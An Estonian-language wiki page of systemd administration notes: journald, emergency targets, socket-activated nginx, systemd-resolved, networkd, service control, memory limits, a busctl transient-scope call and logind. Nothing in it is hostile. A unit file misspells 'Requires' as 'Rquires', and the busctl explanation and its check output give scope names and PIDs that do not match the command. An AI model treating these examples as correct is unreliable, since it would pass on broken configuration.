 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===systemd-cat===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
dbus kaudu scope kapslis protsessi töötamine, käivitada protsess&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# sleep 300 &amp;amp;&lt;br /&gt;
[1] 9261&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seostada protsess eraldi moodustatud systemd slice osakonnaga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# busctl call org.freedesktop.systemd1 \&lt;br /&gt;
            /org/freedesktop/systemd1 \&lt;br /&gt;
            org.freedesktop.systemd1.Manager \&lt;br /&gt;
            StartTransientUnit \&lt;br /&gt;
            &amp;quot;ssa(sv)a(sa(sv))&amp;quot; \&lt;br /&gt;
            &amp;quot;real-server-mimic.scope&amp;quot; \&lt;br /&gt;
            &amp;quot;fail&amp;quot; \&lt;br /&gt;
            2 &amp;quot;Slice&amp;quot; &amp;quot;s&amp;quot; &amp;quot;custom-labs-01.slice&amp;quot; &amp;quot;PIDs&amp;quot; &amp;quot;au&amp;quot; 1 8702 \&lt;br /&gt;
            0&lt;br /&gt;
o &amp;quot;/org/freedesktop/systemd1/job/62153&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* org.freedesktop.systemd1 /org/freedesktop/systemd1: The destination path pointing directly to systemd's primary system core.&lt;br /&gt;
* StartTransientUnit: The literal internal API function name.&lt;br /&gt;
* &amp;quot;ssa(sv)a(sa(sv))&amp;quot;: The explicit structural signature definition. It alerts systemd to expect: String, String, Array of Variants, and a nested Array of auxiliary configurations.&lt;br /&gt;
* &amp;quot;my-direct-dbus.scope&amp;quot;: The custom name for the new leaf node container.&lt;br /&gt;
* &amp;quot;fail&amp;quot;: The conflict mode. It instructs systemd: &amp;quot;If a scope with this exact name already exists, throw an error instead of overriding it.&amp;quot;&lt;br /&gt;
* 2 &amp;quot;Slice&amp;quot; &amp;quot;s&amp;quot; &amp;quot;custom-labs-01.slice&amp;quot; &amp;quot;PIDs&amp;quot; &amp;quot;au&amp;quot; 1 8620: This tells systemd we are supplying 2 properties inside our payload array:&lt;br /&gt;
&lt;br /&gt;
 Set the target Slice property to the string value &amp;quot;custom-labs-01.slice&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 Populate the PIDs property array with an active array size of 1, passing our target PID unsigned integer value (8620).&lt;br /&gt;
&lt;br /&gt;
* 0: Passes an empty auxiliary parameters list.&lt;br /&gt;
&lt;br /&gt;
tulemuse kontrolliks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# systemd-cgls /custom.slice&lt;br /&gt;
CGroup /custom.slice:&lt;br /&gt;
└─custom-labs.slice&lt;br /&gt;
  └─custom-labs-02.slice&lt;br /&gt;
    └─real-server-02.scope&lt;br /&gt;
      └─9261 sleep 300&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-hostnamed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* busctl käivitab systemd-hostnamed protsessi ajutiselt vastavalt vajadusele&lt;br /&gt;
* ta on 'D-Bus On-Demand Activated Service' ehk 'Transient/Ephemeral Daemon' ehk 'Lazy-Loaded / Socket-Activated Daemon'&lt;br /&gt;
&lt;br /&gt;
Muudatuse tegemiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pg-01:~# hostnamectl set-hostname ns-pg-01&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* muudetakse /etc/hostname fail&lt;br /&gt;
* ei muudeta /etc/hosts faili&lt;br /&gt;
* väidetavalt teavitatakse syslog jt deemoneid st restart vms ei ole vajalik arvutile&lt;br /&gt;
* reaalselt süsteemi hostname muutmisel hostnamectl programmist väga palju abi ei ole, /etc/hosts fail tuleb käsitsi muuta&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
